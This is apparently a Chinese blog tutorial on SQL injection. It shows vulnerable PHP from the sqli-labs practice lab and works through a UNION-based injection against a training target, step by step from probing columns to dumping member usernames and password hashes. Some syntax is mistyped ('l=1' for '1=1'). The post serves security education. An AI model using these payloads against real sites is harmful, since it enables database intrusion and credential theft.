WEB漏洞—SQL注入之简要SQL注入

目录

数据库类型—Mysql

SQL注入安全测试中危害

SQL注入产生原理分析

MYSQL一些语句演示:

SQL产生条件:

简要SQL注入习题:

搭建第一个SQL注入学习靶场环境

MYSQL注入—xlaodl

MYSQL数据库

数据库详细了解

小知识:

如何判断注入点?

一、老办法:

二、最舒服的办法:(操作窗口执行)

union联合注入操作流程

判断注入

一、猜解列名数量(字段数) order by 错误与正确数值

二、猜解准备

三、信息收集:

知识点:


数据库类型—Mysql

SQL注入安全测试中危害

SQL直接去对数据库中的数据进行操作(查询,更新,删除)

SQL注入不同注入点是有条件的(权限)

  • ①.危害到数据库里边的数据
  • ②.直接危害到网站的权限(需要满足条件)

SQL注入产生原理分析

简易代码分析SQL注入原理

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-2 **Error Based- Intiger**</title>
</head>

<body bgcolor="#000000">

    


<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">


<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];//第一步:接收数据
//
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);


// connectivity 
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";//第二步:数据的拼接
$result=mysql_query($sql);//第三步:数据进行数据库执行
$row = mysql_fetch_array($result);//第四步:执行结果进行展示

    if($row)
    {
      echo "<font size='5' color= '#99FF00'>";
      echo 'Your Login name:'. $row['username'];
      echo "<br>";
      echo 'Your Password:' .$row['password'];
      echo "</font>";
      }
    else 
    {
    echo '<font color= "#FFFF00">';
    print_r(mysql_error());
    echo "</font>";  
    }
}
    else
        {     
        echo "Please input the ID as parameter with numeric value";
        }

?>


</font> </div></br></br></br><center>
<img src="../images/Less-2.jpg" /></center>
</body>
</html>

当你访问的时候id为1,则对应代码里边的id也为1,当代码里边的id对应等于X时,访问时候的id也对应等于X

注意:第一到第四步在处理得当的时候不会出现注入点,处理不得到当候会出现注入点

SQL注入就是注入SQL语句。往SQL语句中注入。SQL语句被更改或者改写会打扰一些操作

MYSQL一些语句演示:

一、查询一下email邮箱及目录

二、在查询语句中注入其他SQL语句就会查询到其他表的数据(如果其他表如果是 管理员,就有可能查到管理员的账户密码)

http://localhost/sqli-labs-master/Less-2/index.php?id=2//访问这个地址的时候就是图三(网页)
SELECT * FROM users WHERE id=2 LIMIT 0,1//执行语句的时候就是图三(命令窗口)
 
http://localhost/sqli-labs-master/Less-2/index.php?id=-2
SELECT * FROM users WHERE id=-2 LIMIT 0,1

http://localhost/sqli-labs-master/Less-2/index.php?id=-2 union select 1,email_id,3 from emails//访问这个地址的时候就是图一
SELECT * FROM users WHERE id=-2 union select 1,email_id,3 from emails LIMIT 0,1;//执行语句的时候就是图二

图一:

图二:

图三:

注入:其实就是通过参数传递一个数据过去(例如上边的2),数据拼接到SQL语句中,然后就可以依据此(跟2一起)拼接一些恶意的SQL语句,来实行一些恶意SQL语句的执行效果

SQL注入:通过就是将一些查询的SQL语句通过参数传递到原有的SQL语句中,实现自定义的一个查询

SQL产生条件:

①.SQL语句在定义时候有变量

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

②.SQL语句中存在可控变量

$id=$_GET['id'];

③.可控变量可以代入数据库查询

④.变量过滤不严谨或者没有过滤

简要SQL注入习题:

1.可能存在注入编号选项有哪几个?(1,2,3,4)

a.www.xiaodi8.com/index.php?id=8
b.www.xiaodi8.com/?id=10
c.www.xiaodi8.com/?id=10&x=1
d.www.xiaodi8.com/index.php

解析:

a:存在参数

b:没写index.php并不代表没有,只是默认

c:只是多了一个参数,前边注入,后边注入选择不同

d:第四个有可能是post注入.

2.参数x有注入,以下哪个注入测试正确?(b,c)

a.www.xiaodi.com/news.php?y=1 and l=1&x=2
b.www.xiaodi.com/news.php?y=1&x=2 and l=1
c.www.xiaodi.com/news.php?y=1 and 1=1&x=2 and l=1
d.www.xiaodi.com/news.php?xx=1 and 1=1&xxx=2 and l=1

解析:X有注入,所以注入语句应该写在x后边;?的意思参数,&的意思是连接;l=1相当于是注入语句

3.http://www.krismile.net/index.php?id=52&page=1 如果id参数存在注入,请实现:

http://www.krismile.net/index.php?id=52 and l=1 &page=1
http://www.krismile.net/index.php?page=1 &id=52 and l=1

搭建第一个SQL注入学习靶场环境

Sqlilabs注入靶场搭建简要使用. 注意:phpstudy的php版本;

学习第一个数据库MYSQL简要注入;

MYSQL注入—xlaodl

数据库用户不是电脑的管理员用户是数据库的管理用户,专门管理数据库;

MYSQL数据库

数据库A=网站A(1)

表名(2)

列名(3)

数据(4)

获取数据(1-2-3-4)

数据库B=网站B

...........

数据库C=网站C

.............

数据库详细了解

一个数据库代表一个网站

use 数据库名//使用数据库
show tables//查询数据库的所有表名

select * from rj2hbr7i0n;//查看数据库中列名,数据

小知识:

如何判断注入点?

一、老办法:

and l=1 页面正常

and l=1 页面错误

可能存在注入点;

二、最舒服的办法:(操作窗口执行)

注:404错误——跳转(网站对输入的东西有检测,大部分没有漏洞)

union联合注入操作流程

演示网站:

https://www.mozhe.cn/bug/detail/elRHc1BCd2VIckQxbjduMG9BVCtkZz09bW96aGUmozhe

判断注入

一、猜解列名数量(字段数) order by 错误与正确数值

http://124.70.22.208:48857/new_list.php?id=1 order by 4//网站访问正常 

http://124.70.22.208:48857/new_list.php?id=1 order by 5//网站访问正常

二、猜解准备

http://124.70.22.208:48857/new_list.php?id=1%20union%20select%201,2,3,4//网站访问正常

http://124.70.22.208:48857/new_list.php?id=-1%20union%20select%201,2,3,4//网站访问错误,发现错误显示的是2,3

三、信息收集:

  • 数据库版本:version(): 5.7.22-0ubuntu0.16.04.1(5.0以上高版本,5.0以下低版本)
  • 数据库名字:databases(): mozhe_Discuz_StormGroup
  • 数据库用户:user(): root@localhost
  • 操作系用: @@version_compile_os:Linux

1.哪个数字报错,你就在那个数字查询

http://124.70.22.208:48857/new_list.php?id=-1%20union%20select%201,database(),version(),4查询数据库名字,版本
http://124.70.22.208:48857/new_list.php?id=-1%20union%20select%201,user(),@@version_compile_os,4//查询数据库用户名,操作系统

2.查询指定数据库名mozhe_Discuz_StormGroup下的表明信息

http://124.70.22.208:48857/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

3.查询指定表名StormGroup_member下的表明信息

http://124.70.22.208:48857/new_list.php?id=-1%20union%20select%201,group_concat(column_name),3,4%20from%20information_schema.columns%20where%20table_name=%27StormGroup_member%27

4.查询指定数据

http://124.70.22.208:48857/new_list.php?id=-1%20union%20select%201,name,password,4%20from%20StormGroup_member

5.在对获取到的密码进行解密:

https://www.cmd5.com/    //dsan13

知识点:

1.在MYSQL5.0版本以上mysql存在一个自带数据库名为informtion_schema,他是一个存储记录所有数据库名,表明,列名的数据库,也相当于可以通过查询他获取指定数据库下的表名列名信息.

2.数据库中符号“.”代表下一级,如xiaodi.user表示数据库下的user表名。

3.一些代码含义:

  • information_schema.tables:记录所有表名信息的表
  • information_shcema.columns:记录所有列名信息的表
  • table_name:表名 group_concat(table_name)//查询所有表名
  • column_name:列名
  • table_schema:数据库名
  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
当面试官询问我SQL注入、XSS、文件上传以及RCE远程命令执行漏洞的相关知识时,你可以使用以下话术进行回答: 1. 面试官:请介绍一下SQL注入漏洞。 你:SQL注入是一种常见的web应用程序漏洞,攻击者通过在用户输入中插入恶意的SQL代码,成功绕过应用程序的输入验证,从而可以执行未经授权的数据库查询、修改或删除操作。为防止SQL注入攻击,我们需要对用户输入进行严格的验证和过滤,并使用参数化查询或预编译语句来防止恶意SQL代码的执行。 2. 面试官:请解释一下XSS漏洞。 你:XSS(跨站脚本)漏洞是一种允许攻击者将恶意脚本注入到web应用程序的漏洞。当用户浏览包含恶意脚本的页面时,这些脚本会在用户的浏览器上执行,导致攻击者能够窃取用户的登录凭证、修改页面内容或进行其他恶意操作。为了防止XSS攻击,我们需要对用户输入进行合适的验证和过滤,并使用安全的编码方式来输出数据,如HTML转义或使用Content Security Policy(CSP)来限制脚本的执行。 3. 面试官:请讲解一下文件上传漏洞。 你:文件上传漏洞是指在web应用程序中存在未正确验证用户上传文件的安全问题。攻击者可以通过上传带有恶意代码的文件,从而在服务器上执行恶意操作,如执行任意命令、获取敏感数据或远程控制服务器。为了防止文件上传漏洞,我们需要对用户上传的文件进行严格的验证和过滤,限制可上传文件的类型和大小,并在保存、读取和执行文件时采取适当的安全措施。 4. 面试官:请简要说明一下RCE远程命令执行漏洞。 你:RCE(远程命令执行)漏洞是一种允许攻击者在受影响的系统上执行任意命令的漏洞。攻击者通过利用应用程序中的安全漏洞,成功注入恶意代码并执行系统命令。这种漏洞可能导致攻击者完全控制受影响的系统,进行敏感数据的窃取、服务器崩溃等恶意行为。为了防止RCE漏洞,我们需要保持应用程序和服务器的补丁更新,进行输入验证和过滤,以及使用安全编码和访问控制机制来限制恶意代码的执行。 请记住,以上是对每种漏洞简要解释,你可以根据自己的了解和经验进行适当的展开和补充。在回答问题时,尽量用简明扼要的语言表达,并展示你对漏洞原理和相关防御措施的深入理解。祝你面试顺利!

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值